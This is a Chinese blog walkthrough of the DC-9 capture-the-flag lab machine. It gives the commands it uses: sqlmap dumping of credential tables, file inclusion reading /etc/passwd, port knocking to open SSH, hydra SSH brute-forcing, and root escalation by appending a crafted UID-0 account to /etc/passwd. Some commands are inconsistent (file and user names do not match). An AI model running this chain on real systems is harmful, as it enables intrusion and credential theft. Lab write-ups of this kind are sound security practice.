DC-9靶机


这是第二台靶机。

常规信息收集,不再赘述。

22端口的状态时 filtered (被过滤的,不能确定是否开放)。访问页面

发现search页面,猜测可能与数据库有交互,可能会产生SQL注入,sqlmap跑一下(在这之前,需要抓包判断一下请求方式)

post方式,还是result.php页面(不是search.php页面)

sqlmap -u http://192.168.221.142/results.php --data 'search=111' --dbs 

果然存在注入,存在三个表。直接脱裤吧。

上流程

sqlmap -u http://192.168.221.142/results.php --data 'search=111' -D users --tables

查看users库有哪些表,有UserDetails

sqlmap -u http://192.168.221.142/results.php --data 'search=111' -D users -T UserDetails --columns

貌似,只有username和password字段对我们有用,直接dump

sqlmap -u http://192.168.221.142/results.php --data 'search=111' -D users -T UserDetails -C username,password --dump

image-20220507214206581

这些都是用户貌似没有什么用,我们爆staff数据库,流程一样。

sqlmap -u http://192.168.221.142/results.php --data 'search=111' -D Staff -T Users -C Username,Password --dump

image-20220507214658942

爆出admin用户密码,admin: transorbital1。直接登录

发现File does not exist可能有文件包含漏洞。

验证一下

http://192.168.221.142/addrecord.php?file=../../../../etc/passwd

确实有。

之前nmap也没扫到22端口,可能是写了安全策略,查看一下/etc/knockd.conf

knockd主要是隐藏Linux服务器运行的服务,在基于Debian/Ubuntu/Ubuntu的服务器上,可以使用apt-get命令来安装knockd。下载完就可以配置。它位于“/etc/knockd.conf”。

加入knock是敲门的意思(它本来就是这个意思)。knockd就是应门的门童。Linux下的守护进程(Linux Daemon )常用XXXd来命名,比如apache的守护进程httpd,knockd就是knock的守护进程,所以服务器只有安装了knockd,才能正确的相应客户端的knock暗号。

整理一下

[options] 
		UseSyslog 
		
[openSSH] 	
		sequence = 7469,8475,9842   # 打开ssh 22访问的三个操作端口 ;
		seq_timeout = 25 
		command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT  # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉
		tcpflags = syn 
			
[closeSSH] 
		sequence = 9842,8475,7469  	# 关闭ssh 22访问的三个操作端口
		seq_timeout = 25 
		command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来
		tcpflags = syn 

Options:你可以在此字段中找到knockd的配置选项。正如你在上面屏幕截图中所看到,它使用syslog进行日志记录。

OpenSSH:该字段包括序列、序列超时、命令和tcp标志。

Sequence:它显示可由客户软件用作启动操作的模式的端口序列(打开ssh 或者关闭ssh,,关闭操作的端口序列跟 打开操作的序列相反。)。

Sequence timeout:它显示分配给客户端以完成所需的端口试探序列的总时间。

command:这是一旦客户软件的试探序列与序列字段中的模式,执行的命令。 TCP_FLAGS:这是必须针对客户软件发出的试探设置的标志。如果标志不正确,但试探模式正确,不会触发动作。

依次访问 打开操作的端口序列 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了。

使用7469/8475/9842队列号敲门登录

#因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 7469 8475 9842; do nmap -p $x 172.66.66.139; done

我们可以登录到ssh,到底哪些用户可以登录?我们用hydra进行爆破ssh

hydra -L username.txt -P password.txt 192.168.221.142 ssh -t 10

参数解释:-L:指定多个用户名,参数值为存储用户名的文件的路径

​ -P:指定多个密码,参数值为存贮密码的文件的路径

hydra支持很多协议:FTP,HTTPS,HTTP,SMTP,SSH,Telnet,VNC等都可以爆破。

-t:线程小一点,不然会有问题,有些不能爆破出来。

爆破结果:

我们ssh登录janitor账号,ls -alF仔细检查各个文件。

查看passwords-found-on-post-it-notes.txt,将这些新密码再次加入passwoed.txt再次hydra爆破。发现了一个新的许可用户。

ssh登录fredf,sudo -l 查看当前用户可以用 sudo 执行那些命令。发现test文件有root权限

切换到test目录看下,找下这个test.py

#使用find查找test.py文件

find / -name test.py 2>/dev/null

2>/dev/null #代表忽略掉错误提示信息

在/opt/devstuff目录下。

脚本含义:只能往里面传2个参数,2个参数应该都是文件名,把第一个文件的内容以追加方式写进第二个文件里

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")  # r 以只读方式打开文件。文件的指针都放在文件开头。这是默认模式。
    output = (f.read())

    f = open(sys.argv[2], "a")	# a 打开一个文件用于追加。如果文件已存在,则文件的指针在文件结尾,若文件不存在,则创建新文件并写入。
    f.write(output) #写入内容
    f.close()	# 关闭 

回到靶机,按照/etc/passwd的格式,写一个root权限账号出来,放在/tmp/a 里,再脚本追加写入 /etc/passwd 里。

写之前是不是得先生成一个加密后的密码呢? linux里有个 openssl,这是可以用来生成密码的。那么,linux /etc/passwd 是用什么加密方式的呢?MD5。

openssl passwd -1 -salt demo 123456			#构造demo用户密码为123456的hash
$1$demo$xekntTA6s45YvSg8erNIs.

openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。

语法格式: openssl passwd [option] passwd

openssl passwd常用的选项如下:

-1:表示采用的是MD5加密算法。

-salt:指定salt值(加盐),不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。

将生成的密码写进/tmp/demo.txt

echo 'dc:$1$demo$xekntTA6s45YvSg8erNIs.:0:0:root:/bin/bash' >> /tmp/demo.txt
sudo ./test /tmp/dc /etc/passwd 			#再写进密码中
su demo    #切换到demo用户

此时,已经就是root权限。回到根目录下,拿到flag


文章作者: 小小星仔
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 小小星仔 !
评论
  目录